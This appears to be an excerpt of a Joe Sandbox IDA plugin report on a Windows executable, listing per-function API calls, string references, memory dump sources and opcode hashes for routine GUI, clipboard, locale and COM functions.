Part of subcall function 00000001401ED20C: HeapAlloc.KERNEL32(?,?,?,00000001401ED289,?,?,00000000,00000001401E7153,?,?,?,00000001401EAAF9,?,?,?,00000001401EAA1D), ref: 00000001401ED24A

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: AllocHeapWcsftime_invalid_parameter_noinfo
String ID:
API String ID: 3834302206-0
Opcode ID: 9346c06323124304f434cc52da460baa5077440bebde79ff95cf131ec414545d
Instruction ID: 360b69ca7abaaee55b55b1ce90c170cc6d3d31c180eb7786e83998d0f26a1d68
Opcode Fuzzy Hash: 9346c06323124304f434cc52da460baa5077440bebde79ff95cf131ec414545d
Instruction Fuzzy Hash: 7991C272610A9082EB65DF2AD8957ED3760F78CFA8F108616EF1E977A5CF34C4528340

Uniqueness

Uniqueness Score: -1.00%

Function 000000014013E2CC Relevance: 3.1, APIs: 2, Instructions: 67windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32 ref: 000000014013E35B
PostMessageW.USER32 ref: 000000014013E3B1

Part of subcall function 000000014003A82C: GetWindowLongW.USER32 ref: 000000014003A849

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: IconicLongMessagePostWindow
String ID:
API String ID: 1855654840-0
Opcode ID: d0418eebec24f86668f7b57f629725fea581f69107f521d88e225a04700a9212
Instruction ID: a2cb642d2ed5c36f48456564bf7856d9bef7b4a9bc98a2b97368d76e5e234163
Opcode Fuzzy Hash: d0418eebec24f86668f7b57f629725fea581f69107f521d88e225a04700a9212
Instruction Fuzzy Hash: CD215C76654B8582FB669A67E4C53ED63A0F39DF80F080135EB4A47BE6CE39D8418640

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401741F8 Relevance: 1.8, APIs: 1, Instructions: 305COMMON

Download Yara Rule

APIs

InflateRect.USER32 ref: 0000000140174310

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionInflateRectThrow
String ID:
API String ID: 4003260287-0
Opcode ID: de002bc6536fa14dfa5562679c54093c56c45d0161d8c424ffdbbba2676edd8f
Instruction ID: 3453857691b098b2690530e7b07a44247739ad17d1d839b9ad4d1e5084b982cc
Opcode Fuzzy Hash: de002bc6536fa14dfa5562679c54093c56c45d0161d8c424ffdbbba2676edd8f
Instruction Fuzzy Hash: A0D1AC32204B8087EB66DF26E8447EAB3A0F389F95F144126EF9A477A5DF38D441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000014012C5C0 Relevance: 1.8, APIs: 1, Instructions: 272COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32 ref: 000000014012C6E2

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 6bafe10ccc3a035e6d23b5f23f5aa2e7f6af6845b67889725444d98cf11fd71a
Instruction ID: d21f93cdf55b2c97f7b2905ca6c4edeacdbe1e6c7bbf3997cddb1f8d44f74c3f
Opcode Fuzzy Hash: 6bafe10ccc3a035e6d23b5f23f5aa2e7f6af6845b67889725444d98cf11fd71a
Instruction Fuzzy Hash: A8B16F767106808AEB29DF66D5407EE77A1F34CBD8F04952ADF6A23BA5CB34D091CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140158178 Relevance: 1.6, APIs: 1, Instructions: 144keyboardCOMMON

Download Yara Rule

APIs

GetAsyncKeyState.USER32 ref: 0000000140158200

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: AsyncState
String ID:
API String ID: 425341421-0
Opcode ID: 2e877d04c1fd2319082378999765290c3da959a9330e58842b8445f04d3195b8
Instruction ID: 53208189b471d34f5ef0a5b850f52b1f50aebdbfa338c9c9226013f36e67ba1a
Opcode Fuzzy Hash: 2e877d04c1fd2319082378999765290c3da959a9330e58842b8445f04d3195b8
Instruction Fuzzy Hash: 18512F36304A8582EE56DBA7E8543EA67A1BB8DFC0F4D8436DF09577A1DE39C501C704

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400CA6EC Relevance: 1.6, APIs: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014003A82C: GetWindowLongW.USER32 ref: 000000014003A849

SendMessageW.USER32 ref: 00000001400CA7A3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: LongMessageSendWindow
String ID:
API String ID: 3360111000-0
Opcode ID: 04796f97c3dab1360e65b1b1c127e2f1399356d5137b8b2a665459566ed1c3ae
Instruction ID: 553341f1350fe74d83c6d1f9bddf51daa8db78b3ad03cebbe774d116de51d732
Opcode Fuzzy Hash: 04796f97c3dab1360e65b1b1c127e2f1399356d5137b8b2a665459566ed1c3ae
Instruction Fuzzy Hash: 46218172B1864047F71A9B23E915BAB6751EB9EBD4F484114AF9907EA6CF3CC1024704

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400BC26C Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfowcsstr
String ID:
API String ID: 1432046302-0
Opcode ID: 7b21953ab43f35d3be6e7d98e4df3ba5c8121ce8b912bc7a5caa5d19df165308
Instruction ID: 209a4f958b5191affe757b2d4ed9b0d9c74b5077bf4e5facb9b7f46909465790
Opcode Fuzzy Hash: 7b21953ab43f35d3be6e7d98e4df3ba5c8121ce8b912bc7a5caa5d19df165308
Instruction Fuzzy Hash: A9126B76B05A418AEB02EFB6D4957EC2371AB49BD8F454012EF1D53BAADF78C905C380

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401DE314 Relevance: .3, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b29b2ce91df9e511e067c2be8d758b5e258088ba578cf1e9d23a1c89574af4d5
Instruction ID: 11bc108f78e372776a6ee93a88586697428db6a16c7cc5b895fc42fe24efa4d4
Opcode Fuzzy Hash: b29b2ce91df9e511e067c2be8d758b5e258088ba578cf1e9d23a1c89574af4d5
Instruction Fuzzy Hash: 61A10A3B21424046FF2ABA27E4913FD26D0BF58F99F1406299B56877E1EA38E507D710

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140096610 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3925a04d23d851c893337d5182e3f8729ca67460dfd254b32382f4ecfcaa2cbe
Instruction ID: fe78f397917b81ae29ffc3a619f18fd3f6ecbd770ebeb91ed67fc69761143190
Opcode Fuzzy Hash: 3925a04d23d851c893337d5182e3f8729ca67460dfd254b32382f4ecfcaa2cbe
Instruction Fuzzy Hash: 0471AC3632025192FB26DB3BA950FD623A1FBDE7D4F948115AF09879E6DB31C944CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140004430 Relevance: 42.0, APIs: 12, Strings: 12, Instructions: 45registryclipboardCOMMON

Download Yara Rule

APIs

RegisterClipboardFormatW.USER32 ref: 00000001401CB4F8
RegisterClipboardFormatW.USER32 ref: 00000001401CB507
RegisterClipboardFormatW.USER32 ref: 00000001401CB517
RegisterClipboardFormatW.USER32 ref: 00000001401CB527
RegisterClipboardFormatW.USER32 ref: 00000001401CB537
RegisterClipboardFormatW.USER32 ref: 00000001401CB547
RegisterClipboardFormatW.USER32 ref: 00000001401CB557
RegisterClipboardFormatW.USER32 ref: 00000001401CB567
RegisterClipboardFormatW.USER32 ref: 00000001401CB577
RegisterClipboardFormatW.USER32 ref: 00000001401CB587
RegisterClipboardFormatW.USER32 ref: 00000001401CB597
RegisterClipboardFormatW.USER32 ref: 00000001401CB5A7

Strings

Rich Text Format, xrefs: 00000001401CB58D
Object Descriptor, xrefs: 00000001401CB54D
OwnerLink, xrefs: 00000001401CB4FE
Embedded Object, xrefs: 00000001401CB51D
Embed Source, xrefs: 00000001401CB52D
RichEdit Text and Objects, xrefs: 00000001401CB59D
Link Source Descriptor, xrefs: 00000001401CB55D
FileNameW, xrefs: 00000001401CB57D
FileName, xrefs: 00000001401CB56D
Native, xrefs: 00000001401CB4F1
ObjectLink, xrefs: 00000001401CB50D
Link Source, xrefs: 00000001401CB53D

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ClipboardFormatRegister
String ID: Embed Source$Embedded Object$FileName$FileNameW$Link Source$Link Source Descriptor$Native$Object Descriptor$ObjectLink$OwnerLink$Rich Text Format$RichEdit Text and Objects
API String ID: 1228543026-2889995556
Opcode ID: b6a652bd3deba3e3ae948b3db4b4c4c466afa6b44aaf15769755d930f567138b
Instruction ID: 6e22e6cefb730a0a73a1a0b1052449a8f8bc6e059ca1a566f74f24958530b39b
Opcode Fuzzy Hash: b6a652bd3deba3e3ae948b3db4b4c4c466afa6b44aaf15769755d930f567138b
Instruction Fuzzy Hash: AE217BB9904A05A6EF029F72E85CB993771F75CB19F404816CA4E872F4EBBCC259CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401F0540 Relevance: 36.8, APIs: 10, Strings: 11, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000001401F055B
try_get_function.LIBVCRUNTIME ref: 00000001401F057A

Part of subcall function 00000001401EFA2C: GetProcAddress.KERNEL32(?,00000000,0000000100000006,00000001401EFFBE,?,?,?,00000001401F13F3,?,?,?,00000001401D8731), ref: 00000001401EFB84

try_get_function.LIBVCRUNTIME ref: 00000001401F0599

Part of subcall function 00000001401EFA2C: LoadLibraryExW.KERNEL32(?,00000000,0000000100000006,00000001401EFFBE,?,?,?,00000001401F13F3,?,?,?,00000001401D8731), ref: 00000001401EFACF
Part of subcall function 00000001401EFA2C: GetLastError.KERNEL32(?,00000000,0000000100000006,00000001401EFFBE,?,?,?,00000001401F13F3,?,?,?,00000001401D8731), ref: 00000001401EFADD
Part of subcall function 00000001401EFA2C: LoadLibraryExW.KERNEL32(?,00000000,0000000100000006,00000001401EFFBE,?,?,?,00000001401F13F3,?,?,?,00000001401D8731), ref: 00000001401EFB1F

try_get_function.LIBVCRUNTIME ref: 00000001401F05B8

Part of subcall function 00000001401EFA2C: FreeLibrary.KERNEL32(?,00000000,0000000100000006,00000001401EFFBE,?,?,?,00000001401F13F3,?,?,?,00000001401D8731), ref: 00000001401EFB58

try_get_function.LIBVCRUNTIME ref: 00000001401F05D7
try_get_function.LIBVCRUNTIME ref: 00000001401F05F6
try_get_function.LIBVCRUNTIME ref: 00000001401F0615
try_get_function.LIBVCRUNTIME ref: 00000001401F0634
try_get_function.LIBVCRUNTIME ref: 00000001401F0653
try_get_function.LIBVCRUNTIME ref: 00000001401F0672

Strings

GetLocaleInfoEx, xrefs: 00000001401F05D0
CompareStringEx, xrefs: 00000001401F0573
IsValidLocaleName, xrefs: 00000001401F061A, 00000001401F062D
LCIDToLocaleName, xrefs: 00000001401F0658, 00000001401F066B
EnumSystemLocalesEx, xrefs: 00000001401F057F, 00000001401F0592
GetDateFormatEx, xrefs: 00000001401F059E, 00000001401F05B1
AreFileApisANSI, xrefs: 00000001401F0554
GetUserDefaultLocaleName, xrefs: 00000001401F05FB, 00000001401F060E
LCMapStringEx, xrefs: 00000001401F064C
GetTimeFormatEx, xrefs: 00000001401F05DC, 00000001401F05EF
LocaleNameToLCID, xrefs: 00000001401F0677, 00000001401F068A

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: try_get_function$Library$Load$AddressErrorFreeLastProc
String ID: AreFileApisANSI$CompareStringEx$EnumSystemLocalesEx$GetDateFormatEx$GetLocaleInfoEx$GetTimeFormatEx$GetUserDefaultLocaleName$IsValidLocaleName$LCIDToLocaleName$LCMapStringEx$LocaleNameToLCID
API String ID: 3255926029-3252031757
Opcode ID: 748cdbf2a2e67f06e82e28d699bebe1a0e8633b29afd8c62ee897572dfe4acf6
Instruction ID: 70a9feb38160239786eb497cea9199fe0d3de6c45625fee111966a65b0b1e597
Opcode Fuzzy Hash: 748cdbf2a2e67f06e82e28d699bebe1a0e8633b29afd8c62ee897572dfe4acf6
Instruction Fuzzy Hash: 50318474620A5AA1F616DB66E849FDA2321AB4C754FC04037E709471F5DFF8CA49D382

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140100314 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 285keyboardwindowCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 0000000140100445
IsWindow.USER32 ref: 0000000140100524
SendMessageW.USER32 ref: 000000014010054B
GetKeyState.USER32 ref: 00000001401005B9
GetKeyState.USER32 ref: 00000001401005C8
ImmGetContext.IMM32 ref: 00000001401005D6
ImmGetOpenStatus.IMM32 ref: 00000001401005E6
ImmReleaseContext.IMM32 ref: 0000000140100603
GetFocus.USER32 ref: 0000000140100634
IsWindow.USER32 ref: 0000000140100686
IsWindow.USER32 ref: 0000000140100713
ClientToScreen.USER32 ref: 0000000140100725
IsWindow.USER32 ref: 000000014010074C
ClientToScreen.USER32 ref: 0000000140100782

Part of subcall function 00000001401905E4: GetWindowRect.USER32 ref: 0000000140190627
Part of subcall function 00000001401905E4: KillTimer.USER32(?,?,?,?,?,?,00000001,00000001401003D6), ref: 0000000140190661

Strings

y, xrefs: 0000000140100619

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$ClientContextScreenState$CaptureFocusKillMessageOpenRectReleaseSendStatusTimer
String ID: y
API String ID: 3335632768-4225443349
Opcode ID: 2fa833ae8b83b1e89a67c08a7e610bc43548eff594350db1e462483f26c2c8c1
Instruction ID: 1ee254687d07ed71c5f1a3009c88b3678251525fdfe995c835682931622cd644
Opcode Fuzzy Hash: 2fa833ae8b83b1e89a67c08a7e610bc43548eff594350db1e462483f26c2c8c1
Instruction Fuzzy Hash: 7CC14AB170064186FB67DB27D9547ED23A1F78CF98F004026DB898BAF6DB79C8918741

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400682E4 Relevance: 26.5, APIs: 7, Strings: 8, Instructions: 269windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 000000014006834F
GetClientRect.USER32 ref: 0000000140068367
GetSystemMetrics.USER32 ref: 000000014006838C
GetSystemMetrics.USER32 ref: 00000001400683BC
InvalidateRect.USER32 ref: 00000001400683E6
UpdateWindow.USER32 ref: 00000001400683F0
RedrawWindow.USER32 ref: 0000000140068615

Part of subcall function 0000000140066538: SendMessageW.USER32 ref: 00000001400665E0
Part of subcall function 0000000140066538: SendMessageW.USER32 ref: 0000000140066621

Strings

MFCPropertyGrid_VSDotNetLook, xrefs: 0000000140068623
MFCPropertyGrid_ModifiedProperties, xrefs: 00000001400685E4
Value, xrefs: 000000014006859C
MFCPropertyGrid_AlphabeticMode, xrefs: 00000001400685BD
MFCPropertyGrid_DescriptionArea, xrefs: 00000001400684F5
MFCPropertyGrid_DescriptionRows, xrefs: 000000014006854F
Property, xrefs: 00000001400685A3
MFCPropertyGrid_HeaderCtrl, xrefs: 0000000140068588

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$MetricsRectSystemWindow$ClientInvalidateRedrawUpdate
String ID: MFCPropertyGrid_AlphabeticMode$MFCPropertyGrid_DescriptionArea$MFCPropertyGrid_DescriptionRows$MFCPropertyGrid_HeaderCtrl$MFCPropertyGrid_ModifiedProperties$MFCPropertyGrid_VSDotNetLook$Property$Value
API String ID: 3900036962-2695045869
Opcode ID: 856cd1445b4160c5b0c293f1766f06741f0adda23ee89297d366a3f4814e01a4
Instruction ID: b9c017612e2454c7d987d343361791bc2b11a6e0e78e572ffac6bb379e2fc357
Opcode Fuzzy Hash: 856cd1445b4160c5b0c293f1766f06741f0adda23ee89297d366a3f4814e01a4
Instruction Fuzzy Hash: A4B1AB72700A418AEB26DF76D8847ED27A1FB88B98F144522EF1957BA6DF38C445CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140006880 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 167commemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,?,?,?,?,?,00000000,/scanfile), ref: 00000001400068CB
OleRun.OLE32 ref: 00000001400068DB
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,/scanfile), ref: 0000000140006913
SysAllocString.OLEAUT32 ref: 0000000140006974
SysAllocString.OLEAUT32 ref: 00000001400069BD
_com_issue_error.COMSUPP ref: 00000001400069D5
_com_issue_error.COMSUPP ref: 00000001400069EC
_com_issue_error.COMSUPP ref: 0000000140006A08
_com_issue_errorex.COMSUPP ref: 0000000140006A30
